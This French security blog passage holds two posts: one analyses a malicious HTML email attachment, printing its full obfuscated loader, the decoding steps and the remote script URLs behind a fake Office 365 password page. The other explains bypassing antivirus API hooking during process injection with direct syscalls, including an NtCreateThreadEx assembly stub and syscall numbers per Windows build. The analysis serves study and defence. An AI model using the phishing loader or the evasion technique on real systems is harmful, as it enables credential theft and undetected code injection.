Analyse d’une pièce jointe HTML malveillante

J’ai reçu récemment un mail contenant une pièce jointe malveillante de type HTML, je n’en vois pas beaucoup, j’ai plus souvent des DOCM ou XLSM.

Le code HTLM consiste en un seul appel Javascript pour décoder la longue ligne suivante :

document.write(atob(unescape(qadzj)));

<script>
var qadzj="%50%48%4E%6A%63%6D%6C%77%64%43%42%30%65%58%42%6C%50%53%4A%30%5A%58%68%30%4C%32%70%68%64%6D%46%7A%59%33%4A%70%63%48%51%69%49%48%4E%79%59%7A%30%69%4A%69%4D%78%4D%44%51%37%4A%69%4D%78%4D%54%59%37%4A%69%4D%78%4D%54%59%37%4A%69%4D%78%4D%54%49%37%4A%69%4D%31%4F%44%73%6D%49%7A%51%33%4F%79%59%6A%4E%44%63%37%4A%69%4D%78%4D%6A%45%37%4A%69%4D%78%4D%54%45%37%4A%69%4D%78%4D%54%63%37%4A%69%4D%78%4D%54%51%37%4A%69%4D%78%4D%44%59%37%4A%69%4D%35%4E%7A%73%6D%49%7A%45%78%4F%44%73%6D%49%7A%6B%33%4F%79%59%6A%4D%54%45%31%4F%79%59%6A%4F%54%6B%37%4A%69%4D%78%4D%54%51%37%4A%69%4D%78%4D%44%55%37%4A%69%4D%78%4D%54%49%37%4A%69%4D%78%4D%54%59%37%4A%69%4D%30%4E%6A%73%6D%49%7A%6B%35%4F%79%59%6A%4D%54%45%78%4F%79%59%6A%4D%54%41%35%4F%79%59%6A%4E%44%63%37%4A%69%4D%30%4F%44%73%6D%49%7A%55%77%4F%79%59%6A%4E%54%41%37%4A%69%4D%30%4F%54%73%6D%49%7A%51%35%4F%79%59%6A%4E%44%6B%37%4A%69%4D%31%4E%7A%73%6D%49%7A%51%34%4F%79%59%6A%4E%54%63%37%4A%69%4D%31%4D%44%73%6D%49%7A%51%33%4F%79%59%6A%4E%54%51%37%4A%69%4D%31%4D%7A%73%6D%49%7A%55%30%4F%79%59%6A%4E%54%4D%37%4A%69%4D%31%4E%44%73%6D%49%7A%55%31%4F%79%59%6A%4E%54%55%37%4A%69%4D%31%4E%6A%73%6D%49%7A%51%32%4F%79%59%6A%4D%54%41%32%4F%79%59%6A%4D%54%45%31%4F%77%6F%69%50%6A%77%76%63%32%4E%79%61%58%42%30%50%67%6F%38%63%32%4E%79%61%58%42%30%49%48%52%35%63%47%55%39%49%6E%52%6C%65%48%51%76%61%6D%46%32%59%58%4E%6A%63%6D%6C%77%64%43%49%67%63%33%4A%6A%50%53%49%6D%49%7A%45%77%4E%44%73%6D%49%7A%45%78%4E%6A%73%6D%49%7A%45%78%4E%6A%73%6D%49%7A%45%78%4D%6A%73%6D%49%7A%55%34%4F%79%59%6A%4E%44%63%37%4A%69%4D%30%4E%7A%73%6D%49%7A%45%79%4D%54%73%6D%49%7A%45%78%4D%54%73%6D%49%7A%45%78%4E%7A%73%6D%49%7A%45%78%4E%44%73%6D%49%7A%45%77%4E%6A%73%6D%49%7A%6B%33%4F%79%59%6A%4D%54%45%34%4F%79%59%6A%4F%54%63%37%4A%69%4D%78%4D%54%55%37%4A%69%4D%35%4F%54%73%6D%49%7A%45%78%4E%44%73%6D%49%7A%45%77%4E%54%73%6D%49%7A%45%78%4D%6A%73%6D%49%7A%45%78%4E%6A%73%6D%49%7A%51%32%4F%79%59%6A%4F%54%6B%37%4A%69%4D%78%4D%54%45%37%4A%69%4D%78%4D%44%6B%37%4A%69%4D%30%4E%7A%73%6D%49%7A%51%34%4F%79%59%6A%4E%54%63%37%4A%69%4D%30%4F%54%73%6D%49%7A%51%34%4F%79%59%6A%4E%54%41%37%4A%69%4D%30%4F%54%73%6D%49%7A%55%77%4F%79%59%6A%4E%44%67%37%4A%69%4D%31%4D%44%73%6D%49%7A%55%78%4F%79%59%6A%4E%44%63%37%4A%69%4D%31%4E%44%73%6D%49%7A%55%31%4F%79%59%6A%4E%54%55%37%4A%69%4D%31%4E%6A%73%6D%49%7A%55%32%4F%79%59%6A%4E%54%63%37%4A%69%4D%31%4E%7A%73%6D%49%7A%51%32%4F%79%59%6A%4D%54%41%32%4F%79%59%6A%4D%54%45%31%4F%77%6F%69%50%6A%77%76%63%32%4E%79%61%58%42%30%50%67%3D%3D"; 

Let’s go !

On commence par faire le « unescape », j’ai utilisé ce site http://www.utilities-online.info/urlencode/#.X9cgn7PjIuU

On obtient la chaîne suivante :

PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iJiMxMDQ7JiMxMTY7JiMxMTY7JiMxMTI7JiM1ODsmIzQ3OyYjNDc7JiMxMjE7JiMxMTE7JiMxMTc7JiMxMTQ7JiMxMDY7JiM5NzsmIzExODsmIzk3OyYjMTE1OyYjOTk7JiMxMTQ7JiMxMDU7JiMxMTI7JiMxMTY7JiM0NjsmIzk5OyYjMTExOyYjMTA5OyYjNDc7JiM0ODsmIzUwOyYjNTA7JiM0OTsmIzQ5OyYjNDk7JiM1NzsmIzQ4OyYjNTc7JiM1MDsmIzQ3OyYjNTQ7JiM1MzsmIzU0OyYjNTM7JiM1NDsmIzU1OyYjNTU7JiM1NjsmIzQ2OyYjMTA2OyYjMTE1OwoiPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSImIzEwNDsmIzExNjsmIzExNjsmIzExMjsmIzU4OyYjNDc7JiM0NzsmIzEyMTsmIzExMTsmIzExNzsmIzExNDsmIzEwNjsmIzk3OyYjMTE4OyYjOTc7JiMxMTU7JiM5OTsmIzExNDsmIzEwNTsmIzExMjsmIzExNjsmIzQ2OyYjOTk7JiMxMTE7JiMxMDk7JiM0NzsmIzQ4OyYjNTc7JiM0OTsmIzQ4OyYjNTA7JiM0OTsmIzUwOyYjNDg7JiM1MDsmIzUxOyYjNDc7JiM1NDsmIzU1OyYjNTU7JiM1NjsmIzU2OyYjNTc7JiM1NzsmIzQ2OyYjMTA2OyYjMTE1OwoiPjwvc2NyaXB0Pg==

C’est du BASE64, logique car l’instruction suivante est « atob »

Facile à décoder, j’ai utilisé ce site https://www.base64decode.net/

On obtient de nouveau du Javascript obfusqué :

<script type="text/javascript" src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#121;&#111;&#117;&#114;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#46;&#99;&#111;&#109;&#47;&#48;&#50;&#50;&#49;&#49;&#49;&#57;&#48;&#57;&#50;&#47;&#54;&#53;&#54;&#53;&#54;&#55;&#55;&#56;&#46;&#106;&#115;
"></script>
<script type="text/javascript" src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#121;&#111;&#117;&#114;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#46;&#99;&#111;&#109;&#47;&#48;&#57;&#49;&#48;&#50;&#49;&#50;&#48;&#50;&#51;&#47;&#54;&#55;&#55;&#56;&#56;&#57;&#57;&#46;&#106;&#115;
"></script>

Là ça change, l’auteur a voulu masqué les caractères ASCII en mettant à la place les valeurs décimales correspondantes.

j’ai utilisé ce site pour ce décodage, http://www.unit-conversion.info/texttools/ascii/

On obtient juste ceci !

http://yourjavascript.com/0221119092/65656778.js
http://yourjavascript.com/0910212023/6778899.js

Ce qui est intéressant c’est que ces JS sont stockés en ligne sur un site grand public, yourjavascript.com, une sorte de Pastebin pour le Javascript.

J’ai récupéré les 2 JS, voici le fichier 65656778.js :

document.write( unescape( '%3C%6C%69%6E%6B%20%68%72%65%66%3D%22%68%74%74%70%73%3A%2F%2F%74%69%6E%79%75%72%6C%2E%63%6F%6D%2F%79%78%64%36%7A%76%32%7A%2F%38%37%38%37%35%34%33%34%2D%38%37%38%36%37%36%7A%78%78%7A%78%2E%63%73%73%22%20%72%65%6C%3D%22%73%74%79%6C%65%73%68%65%65%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%20%2F%3E' ) ); 
document.write(atob(unescape(drrf)));

Décidément c’est encore encodé, après décodage on obtient :

<link href="https://tinyurl.com/yxd6zv2z/87875434-878676zxxzx.css" rel="stylesheet" type="text/css" />

Fini pour le premier JS, c’est une feuille de style stockée sur le site tinyrl.com qui redirige sur un site WordPress hacké…

https://uceniciifbi.ro/wp-content/dir-wp/87875434-878676zxxzx.css
 { margin: 0; padding: 0; }

    html { 
        background: url('00.png') no-repeat center center fixed; 
        -webkit-background-size: cover;
        -moz-background-size: cover;
        -o-background-size: cover;
        background-size: cover;
    }

Il nous reste à récupérer le deuxième JS, le 6778899.js

Je ne vous ferai pas l’affront de l’afficher dans ce post car il est imposant mais il est encodé de la même façon que le premier, rien de plus.

Après décodage qu’est-ce qu’on obtient ?

Une belle fake page HTML Microsoft Office 365 invitant l’utilisateur à saisir son mot de passe évidemment !

A noter qu’au jour où j’écris ce post (19/12/2020), les fichiers JS sont toujours accessibles en ligne…

[Windows] Une technique d’injection de code dans des processus sans faire appel à des fonctions !

Il y a quelques temps j’avais rédigé un petit article sur les techniques d’injection de code dans des processus en cours d’exécution.

Toutes ces techniques avaient un point en commun, l’utilisation de fonctions de l’API Windows.

Quel est le problème ?

L’analyse comportementale des antivirus et EDR reposent en partie sur le traçage de fonctions suspectes de l’API Windows.

Comment cela fonctionne ?

A chaque fois qu’un processus Windows est lancé, l’antivirus le détecte et modifie les appels API des DLL chargées en mémoire.

Cela paraît compliqué mais en fait c’est assez simple.

Au début de chaque fonction Windows, l’antivirus ajoute dynamiquement un petit « JUMP » vers lui-même histoire de faire son analyse puis, si rien d’anormal n’a été détecté, retourne tranquillement dans le code de la fonction , c’est du « API Hooking ».

Pour que l’injection de code réussisse et éviter de se faire tracer et bloquer il faut donc soit « défaire » le JUMP, c’est à dire faire du « anti API Hooking » ou bien faire appel à des couches plus basses dans le système.

La stratégie anti-api-hooking fonctionne dans certains cas mais a ses limites car les antivirus et EDR vérifie régulièrement que leur JUMP est toujours là.

Intéressons-nous aux couches basses des API Windows.

Les API Windows utilisées pour de l’injection classique de code dans un process reposent toutes sur la librairie kernel32.dll

Contrairement à son nom, kernel32.dll n’est pas une librairie de bas niveau mais plutôt de haut niveau (et oui on chez Microsoft tout est très logique…).

Les fonctions définies dans kernel32.dll font en fait des appels vers des fonctions de plus bas niveaux, elles sont définies dans ntdll.dll

Le souci avec cette DLL c’est que volontairement il n’y a pas de documentation officielle de la part de Microsoft. C’est grâce au travail de nombreux reverseurs que l’on peut assez facilement faire des appels aux fonctions de cette DLL de bas niveau.

Mais ce n’est pas suffisant, on retombe toujours sur le problème du API Hooking, continuons la descente dans les couches du système.

La librairie ntdll.dll est la dernière librairie dans l’espace utilisateur, le code des fonctions à l’intérieur font ensuite des appels systèmes vers l’espace kernel.

Vous voyez où je veux en venir.

Plutôt que de faire des appels à des fonctions définies dans kernel32.dll ou dans ntdll.dll pourquoi ne pas faire des appels directs au système en assembleur ?

Et bien c’est ce que j’ai fait !

Avec cette technique on peut bypasser toutes les solutions de détections basées sur du API Hooking dans l’espace utilisateur car justement on ne fait plus du tout appel à des fonctions !

Une chose importante à savoir, les appels systèmes sont très dépendant de la version exacte de Windows, il faut donc au préalable déterminer le build de Windows avant de pouvoir faire les bons appels systèmes.

C’est grâce au travail d’un membre de l’équipe de Google Project Zero (https://j00ru.vexillium.org/syscalls/nt/64/) que l’on peut maintenant avoir accès facilement à l’ensemble des valeurs à utiliser pour les registres assembleurs.

Concrètement et sans trop de détails :

Lors de l’injection de code on utilise très souvent à la fin la fonction CreateRemoteThread de la DLL kernel32.dll

HANDLE WINAPI CreateRemoteThread(
  __in   HANDLE hProcess,
  __in   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in   SIZE_T dwStackSize,
  __in   LPTHREAD_START_ROUTINE lpStartAddress,
  __in   LPVOID lpParameter,
  __in   DWORD dwCreationFlags,
  __out  LPDWORD lpThreadId
);

Cette fonction fait en fait appel à la fonction NtCreateThreadEx de la DLL ntdll.dll

EXTERN_C NTSTATUS NtCreateThreadEx(
	OUT PHANDLE ThreadHandle,
	IN ACCESS_MASK DesiredAccess,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE
	IN PVOID Argument,
	IN ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
	IN SIZE_T ZeroBits,
	IN SIZE_T StackSize,
	IN SIZE_T MaximumStackSize,
	IN PPS_ATTRIBUTE_LIST AttributeList
);

Qui elle-même fait un « syscall » vers le kernel avec ces paramètres sous Windows 10 :

; NtCreateThreadEx
; Windows 10
; 1507		 1511		 1607		 1703		 1709		 1803		 1809		 1903		 1909		 2004		20H2
; 0x00b3 	 0x00b4 	 0x00b6 	 0x00b9 	 0x00ba 	 0x00bb 	 0x00bc 	 0x00bd 	 0x00bd 	 0x00c1 	 0x00c1

NtCreateThreadEx proc
		mov r10, rcx
		mov eax, 0bdh
		syscall
		ret
NtCreateThreadEx endp

Alors voila, tout mis bout à bout j’ai développé une injection de code sans faire aucun appel à des fonctions API.

Et ça marche du tonnerre !

Ci-joint un screenshot de l’exécution où l’on voit l’injection de la dll testlib64.dll avec le « Hello from testlib » dans le processus sublime_text.exe (au passage c’est du 64 bits, encore plus compliqué) :

Je mettrai quand j’aurai un moment l’intégralité du code sur mon Github.

[MAJ 06/12/2020] code disponible

Alors comment contrer ce genre de techniques ?

Et bien il faut faire de l’API Hooking mais au niveau kernel, en développant des drivers, c’est ce que font les bons antivirus !